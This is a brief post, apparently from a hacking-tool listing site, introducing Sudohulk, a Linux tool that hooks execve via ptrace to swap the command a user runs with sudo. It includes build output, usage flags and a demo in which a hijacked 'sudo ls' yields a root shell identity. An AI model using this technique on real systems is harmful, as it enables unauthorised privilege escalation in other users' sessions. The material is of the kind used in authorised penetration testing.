Home / Bash / Change / Execve / Hacking Tool / Hook / Intercept / Linux / Privilege Escalation / Ptrace / Sudo / Sudohulk / Zsh / Sudohulk - Try Privilege Escalation Changing Sudo Command

Sudohulk - Try Privilege Escalation Changing Sudo Command

| Post sponsored by FaradaySEC | Multiuser Pentest Environment
This tool change sudo command, hooking the execve syscall using ptrace, tested under bash and zsh

supported architectures:
  • x86_64
  • x86
  • arm

How use:
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
$ ./sudohulk 
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
   -q quit when change a command
   -d run in background
   -k keep original command line (appending to new)

NOTES:
PID = bash or zsh pid
To attach the current session use -d option, example:
$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm: 
uid=0(root) gid=0(root) grupos=0(root)

Demo


Sudohulk - Try Privilege Escalation Changing Sudo Command Sudohulk - Try Privilege Escalation Changing Sudo Command Reviewed by Zion3R on 10:08 AM Rating: 5